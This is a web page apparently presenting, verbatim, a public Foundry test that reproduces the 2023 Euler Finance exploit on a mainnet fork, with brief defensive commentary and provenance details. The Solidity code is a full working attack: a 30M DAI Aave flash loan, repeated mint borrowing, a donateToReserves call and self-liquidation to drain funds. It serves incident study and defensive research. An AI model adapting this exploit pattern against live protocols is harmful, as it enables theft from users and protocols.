Public reproduction file
src/test/2023-03/Euler_exp.sol
Public reproduction file for the historical Euler Finance incident (2023-03-13). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/FrankResearcher/status/16352414759897210899// https://twitter.com/nomorebear/status/163523062185660006410// https://twitter.com/peckshield/status/163522959459603660811// https://twitter.com/BlockSecTeam/status/163526215062430515312// https://twitter.com/SlowMist_Team/status/163528896358082560613// @TX14// https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d15// @Summary16// 1) Flash loan tokens from Balancer/Aave v2 => 30M DAI17// 2) Deploy two contracts: violator and liquidator18// 3) Deposit 2/3 of funds to Euler using deposit() => sent 20M DAI to Euler and received 19.5M eDAI from Euler19// 4) Borrow 10x of deposited amount using mint() => received 195.6M eDAI and 200M dDAI from Euler20// 5) Repay part of debt using the remaining 1/3 of funds using repay() => sent 10M DAI and burned 10M dDAI21// 6) Repeat 4th step => received 195.6M eDAI and 200M dDAI from Euler22// 7) Donate 10x of repaid funds using donateToReserves() => sent 100M eDAI to Euler23// 8) Liquidate a violator’s account using liquidate() because eDAI < dDAI => received 310M eDAI and 259M dDAI of debt from the violator24// 9) Withdraw all token amount from Euler using withdraw() => withdrew 38.9M DAI from Euler25// 10) Repay flash loans27interface EToken {28 function deposit(uint256 subAccountId, uint256 amount) external;29 function mint(uint256 subAccountId, uint256 amount) external;30 function donateToReserves(uint256 subAccountId, uint256 amount) external;31 function withdraw(uint256 subAccountId, uint256 amount) external;32}34interface DToken {35 function repay(uint256 subAccountId, uint256 amount) external;36}38interface IEuler {39 struct LiquidationOpportunity {40 uint256 repay;41 uint256 yield;42 uint256 healthScore;43 uint256 baseDiscount;44 uint256 discount;45 uint256 conversionRate;46 }48 function liquidate(49 address violator,50 address underlying,51 address collateral,52 uint256 repay,53 uint256 minYield54 ) external;55 function checkLiquidation(56 address liquidator,57 address violator,58 address underlying,59 address collateral60 ) external returns (LiquidationOpportunity memory liqOpp);61}63contract ContractTest is Test {64 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);65 EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);66 DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);67 IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);68 IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);69 address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;70 Iviolator violator;71 Iliquidator liquidator;73 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);75 function setUp() public {76 cheats.createSelectFork("mainnet", 16_817_995);77 cheats.label(address(DAI), "DAI");78 cheats.label(address(eDAI), "eDAI");79 cheats.label(address(dDAI), "dDAI");80 cheats.label(address(Euler), "Euler");81 cheats.label(address(AaveV2), "AaveV2");82 }84 function testExploit() public {85 uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;86 address[] memory assets = new address[](1);87 assets[0] = address(DAI);88 uint256[] memory amounts = new uint256[](1);89 amounts[0] = aaveFlashLoanAmount;90 uint256[] memory modes = new uint256[](1);91 modes[0] = 0;92 bytes memory params =93 abi.encode(30_000_000, 200_000_000, 100_000_000, 44_000_000, address(DAI), address(eDAI), address(dDAI));94 AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);96 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());97 }99 function executeOperation(100 address[] calldata assets,101 uint256[] calldata amounts,102 uint256[] calldata premiums,103 address initator,104 bytes calldata params105 ) external returns (bool) {106 DAI.approve(address(AaveV2), type(uint256).max);107 violator = new Iviolator();108 liquidator = new Iliquidator();109 DAI.transfer(address(violator), DAI.balanceOf(address(this)));110 violator.violator();111 liquidator.liquidate(address(liquidator), address(violator));112 return true;113 }114}116contract Iviolator {117 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);118 EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);119 DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);120 IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);121 address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;123 function violator() external {124 DAI.approve(Euler_Protocol, type(uint256).max);125 eDAI.deposit(0, 20_000_000 * 1e18);126 eDAI.mint(0, 200_000_000 * 1e18);127 dDAI.repay(0, 10_000_000 * 1e18);128 eDAI.mint(0, 200_000_000 * 1e18);129 eDAI.donateToReserves(0, 100_000_000 * 1e18);130 }131}133contract Iliquidator {134 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);135 EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);136 DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);137 IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);138 address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;140 function liquidate(address liquidator, address violator) external {141 IEuler.LiquidationOpportunity memory returnData =142 Euler.checkLiquidation(liquidator, violator, address(DAI), address(DAI));143 Euler.liquidate(violator, address(DAI), address(DAI), returnData.repay, returnData.yield);144 eDAI.withdraw(0, DAI.balanceOf(Euler_Protocol));145 DAI.transfer(msg.sender, DAI.balanceOf(address(this)));146 }147}Analysis
What this file is
A public Foundry test from the DeFiHackLabs dataset for the Euler Finance incident dated 2023-03-13. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.
How to read it
The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.
Fixes and defensive tests
- Review privileged entry points
- Limit what external coin can be pulled without intent checks
- Pause or migrate when a class of bug is public
Related files
9 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2023-03/BIGFI_exp.solSame month in the dataset · 89 lines
- src/test/2023-03/DBW_exp.solSame month in the dataset · 195 lines
- src/test/2023-03/DKP_exp.solSame month in the dataset · 93 lines
- src/test/2023-03/paraspace_exp.solSame month in the dataset · 284 lines
- src/test/2023-03/Phoenix_exp.solSame month in the dataset · 123 lines
- src/test/2023-03/poolz_exp.solSame month in the dataset · 364 lines
- src/test/2023-03/safeMoon_exp.solSame month in the dataset · 168 lines
- src/test/2023-03/Thena_exp.solSame month in the dataset · 104 lines
Also imports external libraries: forge-std/Test.sol.
File record
- Name
- Euler Finance
- Path
- src/test/2023-03/Euler_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1b28e23efd669cbc6265f1ec3d4de8aa6d1b5e06
- Language
- Solidity
- Size
- 148 lines
- Date
- 2023-03-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-03/Euler_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1b28e23efd669cbc6265f1ec3d4de8aa6d1b5e06, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.